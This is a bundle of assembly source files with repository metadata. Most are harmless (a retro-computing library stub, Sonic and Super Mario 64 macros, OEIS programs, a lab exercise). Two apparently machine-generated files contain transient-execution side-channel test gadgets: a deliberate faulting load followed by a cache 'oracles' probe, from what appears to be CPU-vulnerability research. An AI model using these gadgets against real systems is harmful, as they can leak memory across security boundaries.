7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/p3dos_copy_cstr_to_pstr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned char *p3dos_copy_cstr_to_pstr(char *pdst, const char *csrc) SECTION code_esxdos PUBLIC p3dos_copy_cstr_to_pstr EXTERN asm_p3dos_copy_cstr_to_pstr p3dos_copy_cstr_to_pstr: pop af pop hl pop de push de push hl push af jp asm_p3dos_copy_cstr_to_pstr
14.6
70
0.756849
b5b9d00f602763d475fc3f25ca024e782e7a4faa
875
asm
Assembly
_inc/Debug list - SYZ.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
2
2020-04-09T19:36:35.000Z
2021-01-05T14:20:17.000Z
_inc/Debug list - SYZ.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
null
null
null
_inc/Debug list - SYZ.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
1
2020-06-17T14:16:35.000Z
2020-06-17T14:16:35.000Z
; --------------------------------------------------------------------------- ; Debug list - Spring Yard ; --------------------------------------------------------------------------- dc.w $F dc.l Map_obj25+$25000000 dc.b 0, 0, $27, $B2 dc.l Map_obj26+$26000000 dc.b 0, 0, 6, $80 dc.l Map_obj36+$36000000 dc.b 0, 0, 5, $1B dc.l Map_obj41+$41000000 dc.b 0, 0, 5, $23 dc.l Map_obj43+$43000000 dc.b 0, 0, 4, $B8 dc.l Map_obj12+$12000000 dc.b 0, 0, 0, 0 dc.l Map_obj47+$47000000 dc.b 0, 0, 3, $80 dc.l Map_obj1F+$1F000000 dc.b 0, 0, 4, 0 dc.l Map_obj22+$22000000 dc.b 0, 0, 4, $44 dc.l Map_obj50+$50000000 dc.b 0, 0, $24, $7B dc.l Map_obj18a+$18000000 dc.b 0, 0, $40, 0 dc.l Map_obj56+$56000000 dc.b 0, 0, $40, 0 dc.l Map_obj32+$32000000 dc.b 0, 0, 5, $13 dc.l Map_obj78+$78000000 dc.b 0, 0, $24, $FF dc.l Map_obj79+$79000000 dc.b 1, 0, 7, $A0 even
25
77
0.513143
a4409382805feba19b46a52b7497018b2dde43c2
85
asm
Assembly
lab1/example_c_2.asm
0000Blaze/Microprocess
8d2bf8f7f55e50800c2b82f4b8d3b2d113fc3330
[ "MIT" ]
null
null
null
lab1/example_c_2.asm
0000Blaze/Microprocess
8d2bf8f7f55e50800c2b82f4b8d3b2d113fc3330
[ "MIT" ]
null
null
null
lab1/example_c_2.asm
0000Blaze/Microprocess
8d2bf8f7f55e50800c2b82f4b8d3b2d113fc3330
[ "MIT" ]
null
null
null
# ORG 8000 LHLD 8100 SHLD 8200 HLT # ORG 8100 # DB AA # ORG 8101 # DB BB
9.444444
13
0.564706
c49024c80fef3286c576800419914637a0abb05d
199
asm
Assembly
programs/oeis/304/A304887.asm
ckrause/cm
0021b6ca0be0fbe79164e647ddfd0e65869304fe
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/304/A304887.asm
ckrause/cm
0021b6ca0be0fbe79164e647ddfd0e65869304fe
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/304/A304887.asm
ckrause/cm
0021b6ca0be0fbe79164e647ddfd0e65869304fe
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A304887: Number of non-isomorphic blobs of weight n. ; 1,1,1,1,1,1,3,3,8,14 mov $2,$0 lpb $0 sub $0,1 add $1,3 mul $2,$1 mov $1,$0 mul $0,2 sub $0,$1 div $2,6 lpe mov $0,$2 add $0,1
12.4375
54
0.552764
915cb0bbcb734fd19e5772aa6cf5c987928c9b8e
578
asm
Assembly
oeis/130/A130129.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/130/A130129.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/130/A130129.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A130129: (3*n+1)*2^n. ; 1,8,28,80,208,512,1216,2816,6400,14336,31744,69632,151552,327680,704512,1507328,3211264,6815744,14417920,30408704,63963136,134217728,281018368,587202560,1224736768,2550136832,5301600256,11005853696,22817013760,47244640256,97710505984,201863462912,416611827712,858993459200,1769526525952,3642132267008,7490422964224,15393162788864,31610959298560,64871186038784,133040906960896,272678883688448,558551906910208,1143492092887040,2339760743907328,4785074604081152,9781255440695296,19984723346456576 mov $1,$0 mul $0,3 add $0,1 mov $2,2 pow $2,$1 mul $0,$2
57.8
495
0.844291
a54d31dfec7f254912c67ff6ba9a34f26b41b57c
7,615
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_513.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_513.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_513.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x189c4, %rcx nop inc %r11 mov $0x6162636465666768, %r8 movq %r8, %xmm2 vmovups %ymm2, (%rcx) nop nop nop nop nop and $16883, %rcx lea addresses_UC_ht+0xd184, %rdi nop nop nop add $24996, %rax mov $0x6162636465666768, %r15 movq %r15, %xmm0 vmovups %ymm0, (%rdi) nop nop inc %r8 lea addresses_D_ht+0x624, %rcx nop nop xor %r10, %r10 mov (%rcx), %r11w nop cmp $7576, %r10 lea addresses_UC_ht+0x19848, %rsi lea addresses_WC_ht+0xc244, %rdi nop nop and $43264, %r8 mov $25, %rcx rep movsq dec %r15 lea addresses_normal_ht+0xf244, %rsi lea addresses_UC_ht+0x4c4, %rdi clflush (%rdi) nop nop and $49027, %r15 mov $17, %rcx rep movsl nop nop xor %rdi, %rdi lea addresses_normal_ht+0x10e44, %r11 nop nop cmp $46977, %rsi mov (%r11), %rax sub %r11, %r11 lea addresses_UC_ht+0x10000, %r10 nop nop and %r15, %r15 movl $0x61626364, (%r10) nop nop add $15985, %r15 lea addresses_D_ht+0xa96c, %rax nop nop nop nop nop cmp %r8, %r8 movw $0x6162, (%rax) nop and %r8, %r8 lea addresses_UC_ht+0x12484, %rsi inc %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm0 movups %xmm0, (%rsi) nop nop nop nop nop sub $64953, %rsi lea addresses_WC_ht+0x5844, %r10 nop and $51304, %r8 mov (%r10), %rax add %rax, %rax lea addresses_A_ht+0x1b884, %r8 clflush (%r8) nop nop sub %rsi, %rsi mov (%r8), %r10d nop and $1666, %r15 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %r9 push %rax push %rbp push %rdi push %rdx // Store lea addresses_normal+0x1c33c, %rbp xor $53397, %r11 movb $0x51, (%rbp) sub $13734, %rdx // Load lea addresses_A+0x3944, %r11 nop nop nop nop dec %rbp mov (%r11), %ax nop and %rax, %rax // Store lea addresses_WC+0x75c4, %r9 nop nop nop nop xor %r8, %r8 movb $0x51, (%r9) cmp $2141, %r8 // Store lea addresses_D+0x77d4, %r11 nop nop nop sub %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, (%r11) // Exception!!! mov (0), %r9 nop nop nop nop cmp %r9, %r9 // Faulty Load mov $0x682e30000000844, %rdx nop nop and $51081, %rdi vmovups (%rdx), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r11 lea oracles, %r9 and $0xff, %r11 shlq $12, %r11 mov (%r9,%r11,1), %r11 pop %rdx pop %rdi pop %rbp pop %rax pop %r9 pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 9, 'same': True, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.931193
2,999
0.651215
b19ec1be4cf1b3f017e5c0e43324ac5d97486756
187
asm
Assembly
data/pokemon/dex_entries/treecko.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/treecko.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/treecko.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "WOOD GECKO@" ; species name db "Small hooks on the" next "bottom of its feet" next "catch on walls and" page "ceilings. That is" next "how it can hang" next "from above.@"
18.7
32
0.663102
0ca394273525fe062971e5763c9e313c4465e5bb
8,218
asm
Assembly
data/profiles/N64/libs/sm64mlib/sm64functions.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
10
2017-06-26T16:17:36.000Z
2020-11-18T01:36:44.000Z
data/profiles/N64/libs/sm64mlib/sm64functions.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
null
null
null
data/profiles/N64/libs/sm64mlib/sm64functions.asm
DavidSM64/SimpleArmipsGui
2876912e414e0115f4181359ae3700d4794bd4f7
[ "MIT" ]
4
2017-08-06T18:54:11.000Z
2021-02-28T11:42:39.000Z
// Note: All macro names are not case-sensitive .macro .f_CalSaveChecksum, ramAddr, numBytes, upper16 li a0, ramAddr li a1, numBytes jal 0x8027939C li.l a2, upper16 .endmacro .macro .f_CheckCurrObjBehavior, behAddr li.u a0, behAddr jal 0x802A14FC li.l a0, behAddr .endmacro .macro .f_CheckObjBehavior, objPtr, behAddr li a0, objPtr li.u a1, behAddr jal 0x802A1554 li.l a1, behAddr .endmacro // Needed to clear .f_PlayTransition .macro .f_ClearTransition sb r0, 0x8033BAB3 .endmacro .macro .f_ConfigureTimer, option jal 0x802495E0 li.l a0, option .endmacro .macro .f_CreateBreakParticles, count, mdlID, size_f, param li a0, count li a1, mdlID li a2, float(size_f) jal 0x802AE0CC li.l a3, param .endmacro .macro .f_CreateStar, x_f, y_f, z_f li a0, float(x_f) mtc1 a0, f12 li a0, float(y_f) mtc1 a0, f14 li.u a2, float(z_f) jal 0x802F2B88 li.l a2, float(z_f) .endmacro .macro .f_cosf_imm, angle_rad_f li a0, float(angle_rad_f) jal 0x80325310 mtc1 a0, f12 .endmacro .macro .f_cosf, reg_f jal 0x80325310 mov.s f12, reg_f .endmacro .macro .f_DeactivateObject, obj1_ptr lw.u a0, obj1_ptr jal 0x802A0568 // DeactivateObject lw.l a1, obj1_ptr .endmacro .macro .f_DistanceFromObject3D, obj1_ptr, obj2_ptr lw a0, obj1_ptr lw.u a1, obj2_ptr jal 0x8029E2F8 // DistanceFromObject3D lw.l a1, obj2_ptr .endmacro .macro .f_DistanceFromObject3D_imm, obj1_ptr, obj2_ptr li a0, obj1_ptr li.u a1, obj2_ptr jal 0x8029E2F8 // DistanceFromObject3D li.l a1, obj2_ptr .endmacro .macro .f_DmaCopy, ramAddr, romStart, romEnd li a0, ramAddr li a1, romStart li.u a2, romEnd jal 0x80278504 li.l a2, romEnd .endmacro .macro .f_ExplodeCurrObject jal 0x802E6AF8 nop .endmacro .macro .f_HideCurrObj jal 0x8029F620 nop .endmacro .macro .f_IsMarioGroundPounding jal 0x802A3754 nop .endmacro .macro .f_IsMarioStepping jal 0x802A3CFC nop .endmacro .macro .f_memcpy, dst, src, numBytes li a0, strPtr li a1, strPtr jal 0x803273F0 li.l a2, numBytes .endmacro .macro .f_memset, dst, value, numBytes li a0, dst li a1, value li a2, numBytes beqz a2, memset_End move a3, a0 @@memset_Loop: addiu a2, a2, 0xFFFF addiu a3, a3, 0x01 bnez a2, memset_Loop sb a1, 0xFFFF(a3) @@memset_End: move v0, r0 .endmacro .macro .f_osEepromRead, eepGroup, eepRAM li a0, 0x8033AF78 li a2, eepRAM jal 0x80329150 li.l a1, eepGroup .endmacro .macro .f_osEepromWrite, eepGroup, eepRAM li a0, 0x8033AF78 li a2, eepRAM jal 0x80328AF0 li.l a1, eepGroup .endmacro .macro .f_osEepromLongRead, eepGroup, eepRAM, numBytes li a0, 0x8033AF78 li a1, eepGroup li a2, eepRAM jal 0x80324690 li.l a3, numBytes .endmacro .macro .f_osEepromLongWrite, eepGroup, eepRAM, numBytes li a0, 0x8033AF78 li a1, eepGroup li a2, eepRAM jal 0x803247D0 li.l a3, numBytes .endmacro .macro .f_osViBlack, setBlackout jal 0x80323340 li.l a0, setBlackout .endmacro .macro .f_PlaySound, argument li.u a0, argument jal 0x802CA190 li.l a0, argument .endmacro .macro .f_PlayTransition, image, time, red, green, blue li a0, blue sb a0, 0x10(sp) li a0, image li a1, time li a2, red jal 0x8027B1A0 li.l a3, green .endmacro .macro .f_PrintByte, x, y, strAddr, valueAddr li a0, x li a1, y lb a3, valueAddr la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintUByte, x, y, strAddr, valueAddr li a0, x li a1, y lbu a3, valueAddr la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintShort, x, y, strAddr, valueAddr li a0, x li a1, y lh a3, valueAddr la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintUShort, x, y, strAddr, valueAddr li a0, x li a1, y lhu a3, valueAddr la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintInt, x, y, strAddr, valueAddr li a0, x li a1, y lw a3, valueAddr la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintImm, x, y, strAddr, value li a0, x li a1, y li a3, value la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintReg, x, y, strAddr, register li a0, x li a1, y move a3, register la.u a2, strAddr jal 0x802D62D8 la.l a2, strAddr .endmacro .macro .f_PrintXY, x, y, strAddr li a0, x li a1, y la.u a2, strAddr jal 0x802D66C0 la.l a2, strAddr .endmacro .macro .f_RandomRange, offset, multipler li a0, offset jal 0x802FA964 li.l a1, multipler .endmacro .macro .f_RandomRange2, offset, multipler, mod li a0, offset li a1, multipler jal 0x802FA964 li.l a2, mod .endmacro // Returns V0 = u16 value from 0x0000 to 0xFFFF .macro .f_RandomU16 jal 0x80383BB0 nop .endmacro // Returns F0 = float value from 0.0 to 1.0 .macro .f_RandomFloat jal 0x80383CB4 nop .endmacro // Returns V0 = either 1 or -1 .macro .f_RandomSign jal 0x80383D1C nop .endmacro .macro .f_RotateTorwardsMario, obj_C8, obj_160, speed lw a0, obj_C8 lw a1, obj_160 jal 0x8029E530 li.l a2, speed .endmacro .macro .f_SaveFileData, fileNumber li.l a0, 0x01 lui at, 0x8034 sb a0, 0xB4A5(at) sb a0, 0xB4A6(at) jal 0x80279840 li.l a0, fileNumber .endmacro .macro .f_SaveMenuData li a0, 0x01 lui at, 0x8034 jal 0x802794A0 sb a0, 0xB4A5(at) .endmacro .macro .f_SegmentedToVirtual, segAddr li.u a0, segAddr jal 0x80277F50 li.l a0, segAddr .endmacro .macro .f_SetCurrObjAnimation, animIndex jal 0x8029F464 li.l a0, animIndex .endmacro .macro .f_SetCurrObjModel, mdlID jal 0x802A04C0 li.l a0, mdlID .endmacro .macro .f_SetCurrObjScale, scale_f li a0, float(scale_f) jal 0x8029F430 mtc1 a0, f12 .endmacro .macro .f_SetObjBehavior, objPtr, behAddr li a1, behAddr li.u a0, objPtr jal 0x802A14C4 li.l a0, objPtr .endmacro .macro .f_SetObjScale, objPtr, sx_f, sy_f, sz_f li a1, float(sx_f) li a2, float(sy_f) li a3, float(sz_f) li.u a0, objPtr jal 0x8029F3D0 li.l a0, objPtr .endmacro .macro .f_ShakeScreen, intensity jal 0x802A50FC li.l a0, intensity .endmacro .macro .f_sinf_imm, angle_rad_f li a0, float(angle_rad_f) jal 0x80325480 mtc1 a0, f12 .endmacro .macro .f_sinf, reg_f jal 0x80325480 mov.s f12, reg_f .endmacro .macro .f_SpawnObj, parentPtr, mdlID, behAddr .if (parentPtr == SM64_CURR_OBJ_PTR) || (parentPtr == SM64_MARIO_OBJ_PTR) lw a0, parentPtr la a2, behAddr jal 0x8029EDCC li.l a1, mdlID .else .error "Sorry, .f_SpawnObj only supports SM64_CURR_OBJ_PTR and SM64_MARIO_OBJ_PTR at the moment!" .endif .endmacro .macro .f_SpawnObjXYZ, mdlID, behAddr, x_f, y_f, z_f lw a0, SM64_MARIO_OBJ_PTR la a2, behAddr jal 0x8029EDCC li a1, mdlID li a0, float(x_f) mtc1 a0, f12 li a1, float(y_f) mtc1 a1, f14 li a2, float(z_f) mtc1 a2, f16 swc1 f12, 0xA0(v0) swc1 f14, 0xA4(v0) swc1 f16, 0xA8(v0) .endmacro .macro .f_strchr, strPtr, char li a0, strPtr jal 0x80327444 li.l a1, char .endmacro .macro .f_strlen, strPtr li.u a0, strPtr jal 0x8032741C li.l a0, strPtr .endmacro // Tests for buttons held down by controller 1 ; buttons = buttons pressed by player ; heldDown = make this false if you want an action to only happen once ; branchFalseLabel = branch to label if false .macro .f_TestInput, buttons, heldDown, branchFalseLabel .if heldDown lh at, 0x8033AFA0 .else lw at, 0x8033AFA0 .endif andi at, at, buttons li a0, buttons bne at, a0, branchFalseLabel nop .endmacro // Tests for buttons held down by controller 2 ; buttons = buttons pressed by player ; heldDown = make this false if you want an action to only happen once ; branchFalseLabel = branch to label if false .macro .f_TestInput2, buttons, heldDown, branchFalseLabel .if heldDown lh at, 0x8033AFBC .else lw at, 0x8033AFBC .endif andi at, at, buttons li a0, buttons bne at, a0, branchFalseLabel nop .endmacro .macro .f_TestForMarioAction, action, branchFalseLabel li a0, action lw a1, SM64_MARIO_ACTION bne a0, a1, branchFalseLabel nop .endmacro .macro .f_TestForNotMarioAction, action, branchFalseLabel li a0, action lw a1, SM64_MARIO_ACTION beq a0, a1, branchFalseLabel nop .endmacro .macro .f_UnhideCurrObj jal 0x8029F6BC nop .endmacro .macro .f_WarpMario, warpToID, delay lui at, 0x8034 li a0, 0x01 sh a0, 0xB252(at) li a0, delay sh a0, 0xB254(at) li a0, warpToID sh a0, 0xB256(at) .endmacro
17.787879
99
0.732295
b75aba1ffc61d5ef60c37236c4f2a6316d897cdf
5,702
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2131.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2131.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_2131.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x77f7, %r15 nop add $58128, %r8 mov (%r15), %eax nop nop nop add %rcx, %rcx lea addresses_UC_ht+0xb987, %rdx and $27623, %r8 movb $0x61, (%rdx) nop nop nop nop cmp %r15, %r15 lea addresses_A_ht+0x52b7, %rsi lea addresses_WT_ht+0x12897, %rdi nop nop nop nop nop and %rbp, %rbp mov $7, %rcx rep movsw nop nop nop nop nop cmp %rax, %rax lea addresses_WC_ht+0x4fbc, %rsi nop and %rdi, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm2 vmovups %ymm2, (%rsi) nop nop nop inc %rdi lea addresses_WC_ht+0x38f7, %rsi lea addresses_A_ht+0x13ff7, %rdi nop nop nop nop sub %rdx, %rdx mov $62, %rcx rep movsw nop inc %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x1f7f7, %rdx nop and %r10, %r10 movl $0x51525354, (%rdx) nop nop add %rcx, %rcx // Store lea addresses_RW+0x1aa27, %r9 nop nop nop sub %rsi, %rsi mov $0x5152535455565758, %rcx movq %rcx, %xmm3 movups %xmm3, (%r9) nop cmp %rcx, %rcx // Faulty Load lea addresses_WT+0xc7f7, %r15 nop nop nop nop cmp %r9, %r9 movups (%r15), %xmm7 vpextrq $0, %xmm7, %rsi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 